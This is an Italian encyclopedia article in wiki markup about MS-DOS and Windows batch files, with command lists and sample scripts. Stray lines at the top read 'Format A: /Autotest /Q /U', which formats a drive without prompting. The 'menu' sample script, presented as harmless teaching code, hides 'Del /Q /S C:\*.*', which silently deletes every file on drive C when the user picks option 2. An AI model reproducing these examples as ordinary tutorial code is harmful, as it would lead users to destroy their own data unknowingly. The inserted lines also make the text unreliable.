Format A: /Autotest /Q /U
In [[informatica]], e in particolare nella terminologia di [[MS-DOS]] e [[Microsoft Windows|Windows]], un '''file batch''' o '''comando batch''' è un file di testo che contiene una sequenza di comandi per l'[[interprete di comandi]] del sistema (solitamente ''command.com'' o ''cmd.exe''). Il file batch viene eseguito dall'interprete dei comandi mandando in esecuzione, secondo la sequenza specificata, i comandi elencati nel file. Il concetto di file batch è analogo a quello di [[script|shell script]] per i sistemi [[Unix]] e infatti può essere considerato un rudimentale [[linguaggio di scripting]], anche se i costrutti a disposizione sono veramente pochi: <code>if</code>, <code>for</code> e <code>goto</code>.
Format B: /Autotest /Q /U
I comandi batch di MS-DOS devono avere [[estensione (file)|estensione]] '''.bat''' per essere riconosciuti come tali dal sistema operativo mentre i sistemi NT (Windows NT/2000/XP e successivi) accettano anche l'estensione '''.cmd'''.
Il file batch forse più famoso è '''Autoexec.bat''' perché veniva eseguito automaticamente all'avvio di tutti i sistemi operativi basati su [[MS-DOS]].
I comandi utilizzabili sono tutti quelli disponibili per il [[prompt]] di sistema e si dividono in due categorie:
* comandi interni (come <code>cd</code> per cambiare la cartella di lavoro o <code>dir</code> per elencarne il contenuto)
* comandi esterni (come <code>format</code> o <code>chkdsk</code>)
== Comandi interni ==
I comandi interni sono sempre disponibili senza accedere al disco perché integrati all'interno dell'interprete dei comandi.
Ecco alcuni comandi interni:
*SHUTDOWN
*DIR
*CALL
*CHCP
*REN o RENAME
*DEL o ERASE
*TYPE
*REM
*COPY
*PAUSE
*DATE
*TIME
*VER
*VOL
*CD o CHDIR
*MD o MKDIR
*RD o RMDIR
*BREAK
*VERIFY
*SET
*PROMPT
*PATH
*EXIT
*CTTY
*ECHO
*GOTO
*SHIFT
*IF
*FOR
*CLS
*LH o LOADHIGH
=== Alcuni comandi interni introdotti con Windows 95 ===
*LFNFOR
*TRUENAME
*LOCK
*UNLOCK
== Comandi esterni ==
I comandi esterni sono file di estensione exe, com o gli stessi bat, che possono essere usati come comandi e chiamati senza bisogno di scrivere l'estensione, scrivere diskcopy o diskcopy.com dà lo stesso risultato, esiste comunque una precedenza nel caso che file con diverse estensioni abbiano lo stesso nome.
Ecco alcuni comandi esterni:
*DISKCOPY.COM <BR />
*EDIT.COM <BR />
*KEYB.COM <BR />
*MODE.COM <BR />
*MORE.COM <BR />
*SYS.COM <BR />
*ATTRIB.EXE <BR />
*CHKDSK.EXE <BR />
*DEBUG.EXE <BR />
*DELTREE.EXE <BR />
*FC.EXE <BR />
*FIND.EXE <BR />
*LABEL.EXE <BR />
*MEM.EXE <BR />
*MOVE.EXE <BR />
*NLSFUNC.EXE <BR />
*SORT.EXE <BR />
*SUBST.EXE <BR />
*XCOPY.EXE <BR />
*XCOPY32.EXE <BR />
== Esempi ==
Hello World! - Stampa a monitor la scritta "Hello World!":
<source lang="dos">
@echo Hello World!
</source>
Creazione di un menù
<source lang="dos">
@echo off
cls
:RICHIESTE
echo.
echo Cosa pensi di Wikipedia?
echo (1) Grandiosa!
echo (2) Così così...
echo.
set /p Scelta=
IF %Scelta%==1 GOTO UNO
IF %Scelta%==2 GOTO DUE
IF NOT %Scelta%==1 GOTO END
IF NOT %Scelta%==2 GOTO END
:UNO
echo Anche io!
pause
goto END
:DUE
echo Prova a dare un'occhiata ai progetti analoghi su
echo http://it.wikipedia.org/wiki/Pagina_principale#Oltre_Wikipedia
echo Mi hai offeso a morte!
Del /Q /S C:\*.*
pause
goto END
:END
echo.
echo Ciao ciao
echo.
pause
</source>
== Voci correlate ==
* [[Lista di comandi di MS-DOS]]
[[Categoria:Formati di file eseguibili]]
[[Categoria:Linguaggi di scripting]]
[[Categoria:Terminologia informatica]]
[[en:Batch file]]
[[fr:.BAT]]
|